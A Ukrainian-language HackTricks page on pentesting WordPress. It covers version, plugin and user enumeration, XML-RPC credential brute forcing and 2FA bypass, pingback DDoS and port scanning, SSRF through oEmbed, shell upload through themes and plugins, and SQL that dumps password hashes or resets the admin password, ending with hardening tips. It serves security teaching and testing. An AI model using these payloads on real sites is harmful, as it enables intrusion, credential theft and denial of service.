Wordpress

Support HackTricks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Basic Information

Завантажені файли знаходяться за адресою: http://10.10.10.10/wp-content/uploads/2018/08/a.txt Файли тем можна знайти в /wp-content/themes/, тому, якщо ви зміните деякі php файли теми для отримання RCE, ви, напевно, будете використовувати цей шлях. Наприклад: Використовуючи тему twentytwelve, ви можете доступитися до 404.php файлу за адресою: /wp-content/themes/twentytwelve/404.php Ще один корисний URL може бути: /wp-content/themes/default/404.php

У wp-config.php ви можете знайти кореневий пароль бази даних.

Шляхи для входу за замовчуванням, які слід перевірити: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Основні файли WordPress

  • index.php

  • license.txt містить корисну інформацію, таку як версія встановленого WordPress.

  • wp-activate.php використовується для процесу активації електронної пошти під час налаштування нового сайту WordPress.

  • Папки для входу (можуть бути перейменовані для приховування):

  • /wp-admin/login.php

  • /wp-admin/wp-login.php

  • /login.php

  • /wp-login.php

  • xmlrpc.php - це файл, який представляє функцію WordPress, що дозволяє передавати дані через HTTP, використовуючи XML як механізм кодування. Цей тип зв'язку був замінений на REST API WordPress.

  • Папка wp-content є основним каталогом, де зберігаються плагіни та теми.

  • wp-content/uploads/ - це каталог, де зберігаються всі файли, завантажені на платформу.

  • wp-includes/ Це каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript файли та віджети.

  • wp-sitemap.xml У версіях WordPress 5.5 і вище WordPress генерує XML файл карти сайту з усіма публічними постами та публічно запитуваними типами постів і таксономіями.

Пост експлуатація

  • Файл wp-config.php містить інформацію, необхідну WordPress для підключення до бази даних, таку як ім'я бази даних, хост бази даних, ім'я користувача та пароль, ключі аутентифікації та сіль, а також префікс таблиці бази даних. Цей конфігураційний файл також може бути використаний для активації режиму DEBUG, що може бути корисним для усунення неполадок.

Дозволи користувачів

  • Адміністратор

  • Редактор: Публікує та керує своїми та чужими постами

  • Автор: Публікує та керує своїми постами

  • Співробітник: Пише та керує своїми постами, але не може їх публікувати

  • Підписник: Переглядає пости та редагує свій профіль

Пасивна енумерація

Отримати версію WordPress

Перевірте, чи можете ви знайти файли /license.txt або /readme.html

У джерельному коді сторінки (приклад з https://wordpress.org/support/article/pages/):

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS посилання файли

  • JavaScript файли

Отримати плагіни

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Отримати теми

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Витяг версій загалом

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Використовуйте Trickest для легкого створення та автоматизації робочих процесів, підтримуваних найсучаснішими інструментами спільноти. Отримайте доступ сьогодні:

Активна енумерація

Плагіни та Теми

Ви, ймовірно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити всі з них, вам потрібно буде активно брутфорсити список Плагінів та Тем (на щастя, для нас є автоматизовані інструменти, які містять ці списки).

Користувачі

ID Брут

Ви отримуєте дійсних користувачів з сайту WordPress, брутфорсуючи ID користувачів:

curl -s -I -X GET http://blog.example.com/?author=1

Якщо відповіді 200 або 30X, це означає, що id є дійсним. Якщо відповідь 400, тоді id є недійсним.

wp-json

Ви також можете спробувати отримати інформацію про користувачів, запитуючи:

curl http://blog.example.com/wp-json/wp/v2/users

Інший /wp-json/ кінцевий пункт, який може розкрити деяку інформацію про користувачів, це:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Зверніть увагу, що цей кінцевий пункт лише відкриває користувачів, які зробили пост. Будуть надані лише відомості про користувачів, у яких увімкнено цю функцію.

Також зверніть увагу, що /wp-json/wp/v2/pages може витікати IP-адреси.

Перерахування імен користувачів для входу

При вході в /wp-login.php повідомлення є іншим, якщо вказане ім'я користувача існує чи ні.

XML-RPC

Якщо xml-rpc.php активний, ви можете виконати брутфорс облікових даних або використовувати його для запуску DoS-атак на інші ресурси. (Ви можете автоматизувати цей процес використовуючи це наприклад).

Щоб перевірити, чи активний, спробуйте отримати доступ до /xmlrpc.php і надішліть цей запит:

Перевірити

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Брутфорс облікових даних

wp.getUserBlogs, wp.getCategories або metaWeblog.getUsersBlogs - це деякі з методів, які можна використовувати для брутфорсу облікових даних. Якщо ви зможете знайти будь-який з них, ви можете надіслати щось на зразок:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Повідомлення "Неправильне ім'я користувача або пароль" всередині відповіді з кодом 200 повинно з'явитися, якщо облікові дані недійсні.

Використовуючи правильні облікові дані, ви можете завантажити файл. У відповіді з'явиться шлях (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Також є швидший спосіб для брутфорсу облікових даних, використовуючи system.multicall, оскільки ви можете спробувати кілька облікових даних в одному запиті:

Обхід 2FA

Цей метод призначений для програм, а не для людей, і є старим, тому не підтримує 2FA. Отже, якщо у вас є дійсні облікові дані, але головний вхід захищений 2FA, ви можете зловживати xmlrpc.php, щоб увійти з цими обліковими даними, обминаючи 2FA. Зверніть увагу, що ви не зможете виконати всі дії, які ви можете зробити через консоль, але ви все ще можете отримати доступ до RCE, як пояснює Ippsec у https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS або сканування портів

Якщо ви можете знайти метод pingback.ping у списку, ви можете змусити Wordpress надіслати довільний запит до будь-якого хоста/порту. Це можна використовувати, щоб попросити тисячі сайтів Wordpress доступитися до одного місця (так що в цьому місці викликано DDoS) або ви можете використовувати це, щоб змусити Wordpress сканувати якусь внутрішню мережу (ви можете вказати будь-який порт).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Якщо ви отримали faultCode зі значенням більше ніж 0 (17), це означає, що порт відкритий.

Подивіться на використання system.multicall в попередньому розділі, щоб дізнатися, як зловживати цим методом для виклику DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Цей файл зазвичай існує в корені сайту Wordpress: /wp-cron.php Коли цей файл доступний, виконується "важкий" MySQL запит, тому його можуть використовувати зловмисники для виклику DoS. Також, за замовчуванням, wp-cron.php викликається при кожному завантаженні сторінки (кожного разу, коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з високим трафіком може викликати проблеми (DoS).

Рекомендується вимкнути Wp-Cron і створити реальний cronjob на хостингу, який виконує необхідні дії з регулярним інтервалом (без виклику проблем).

/wp-json/oembed/1.0/proxy - SSRF

Спробуйте отримати доступ до https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net і сайт Worpress може надіслати запит до вас.

Це відповідь, коли це не працює:

SSRF

Цей інструмент перевіряє, чи існує methodName: pingback.ping і для шляху /wp-json/oembed/1.0/proxy, і якщо існує, намагається їх експлуатувати.

Автоматичні інструменти

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, які підтримуються найсучаснішими інструментами спільноти. Отримайте доступ сьогодні:

Отримайте доступ, переписавши один біт

Більше ніж реальна атака, це цікавість. У CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man ви могли б перевернути 1 біт з будь-якого файлу wordpress. Тож ви могли б перевернути позицію 5389 файлу /var/www/html/wp-includes/user.php, щоб NOP операцію NOT (!).

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Модифікація php з теми, що використовується (потрібні облікові дані адміністратора)

Зовнішній вигляд → Редактор тем → Шаблон 404 (праворуч)

Змініть вміст на php shell:

Шукайте в інтернеті, як ви можете отримати доступ до цієї оновленої сторінки. У цьому випадку вам потрібно перейти сюди: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Ви можете використовувати:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP плагін

Можливо, що можна завантажити .php файли як плагін. Створіть свій php бекдор, використовуючи, наприклад:

Потім додайте новий плагін:

Завантажте плагін і натисніть Встановити зараз:

Натисніть Продовжити:

Ймовірно, це нічого не зробить на перший погляд, але якщо ви перейдете до Медіа, ви побачите завантажену оболонку:

Доступ до неї, і ви побачите URL для виконання реверсної оболонки:

Завантаження та активація шкідливого плагіна

Цей метод передбачає установку шкідливого плагіна, відомого як вразливий, і може бути використаний для отримання веб-оболонки. Цей процес здійснюється через панель управління WordPress наступним чином:

  1. Отримання плагіна: Плагін отримується з джерела, такого як Exploit DB, як тут.

  2. Встановлення плагіна:

  • Перейдіть до панелі управління WordPress, потім перейдіть до Панель управління > Плагіни > Завантажити плагін.

  • Завантажте zip-файл завантаженого плагіна.

  1. Активація плагіна: Після успішної установки плагін повинен бути активований через панель управління.

  2. Експлуатація:

  • З встановленим і активованим плагіном "reflex-gallery" його можна експлуатувати, оскільки відомо, що він вразливий.

  • Фреймворк Metasploit надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши конкретні команди, можна встановити сесію meterpreter, що надає несанкціонований доступ до сайту.

  • Зазначено, що це лише один з багатьох методів експлуатації сайту WordPress.

Зміст включає візуальні допоміжні засоби, що ілюструють кроки в панелі управління WordPress для встановлення та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і лише в законному контексті, наприклад, під час тестування на проникнення з явним дозволом.

Для більш детальних кроків перевірте: https://www.hackingarticles.in/wordpress-reverse-shell/

Від XSS до RCE

  • WPXStrike: WPXStrike — це скрипт, призначений для ескалації вразливості Cross-Site Scripting (XSS) до Remote Code Execution (RCE) або інших критичних вразливостей у WordPress. Для отримання додаткової інформації перевірте цей пост. Він надає підтримку версій WordPress 6.X.X, 5.X.X та 4.X.X і дозволяє:

  • Ескалація привілеїв: Створює користувача в WordPress.

  • (RCE) Завантаження користувацького плагіна (бекдору): Завантажте свій користувацький плагін (бекдор) до WordPress.

  • (RCE) Редагування вбудованого плагіна: Редагуйте вбудовані плагіни в WordPress.

  • (RCE) Редагування вбудованої теми: Редагуйте вбудовані теми в WordPress.

  • (Користувацький) Користувацькі експлойти: Користувацькі експлойти для сторонніх плагінів/тем WordPress.

Постексплуатація

Витягніть імена користувачів та паролі:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Змінити пароль адміністратора:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Attack Surface

Знання того, як плагін Wordpress може відкривати функціональність, є ключовим для виявлення вразливостей у його функціональності. Ви можете знайти, як плагін може відкривати функціональність, у наступних пунктах та деяких прикладах вразливих плагінів у цьому блозі.

  • wp_ajax

Один із способів, яким плагін може відкривати функції для використання, - це через AJAX-обробники. Ці обробники можуть містити логіку, помилки авторизації або аутентифікації. Більше того, досить часто ці функції базуються як на аутентифікації, так і на авторизації на існуванні nonce Wordpress, який будь-який користувач, аутентифікований у екземплярі Wordpress, може мати (незалежно від його ролі).

Це функції, які можуть бути використані для відкриття функції в плагіні:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Використання nopriv робить кінцеву точку доступною для будь-яких користувачів (навіть неавтентифікованих).

Більше того, якщо функція просто перевіряє авторизацію користувача за допомогою функції wp_verify_nonce, ця функція просто перевіряє, чи користувач увійшов в систему, зазвичай вона не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями.

  • REST API

Також можливо відкрити функції з WordPress, зареєструвавши REST API за допомогою функції register_rest_route:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

permission_callback - це зворотний виклик функції, яка перевіряє, чи має даний користувач право викликати метод API.

Якщо використовується вбудована функція __return_true, вона просто пропустить перевірку прав користувача.

  • Прямий доступ до php файлу

Звичайно, Wordpress використовує PHP, і файли всередині плагінів безпосередньо доступні з вебу. Отже, у випадку, якщо плагін відкриває будь-яку вразливу функціональність, яка активується просто доступом до файлу, це буде експлуатовано будь-яким користувачем.

Захист WordPress

Регулярні оновлення

Переконайтеся, що WordPress, плагіни та теми оновлені. Також підтвердіть, що автоматичне оновлення увімкнене в wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Також, встановлюйте лише надійні плагіни та теми WordPress.

Плагіни безпеки

Інші рекомендації

  • Видаліть стандартного admin користувача

  • Використовуйте сильні паролі та 2FA

  • Періодично переглядайте права доступу користувачів

  • Обмежте спроби входу для запобігання атакам Brute Force

  • Перейменуйте файл wp-admin.php та надавайте доступ лише внутрішньо або з певних IP-адрес.

Використовуйте Trickest для легкого створення та автоматизації робочих процесів, підтримуваних найсучаснішими інструментами спільноти. Отримайте доступ сьогодні:

Підтримайте HackTricks

Last updated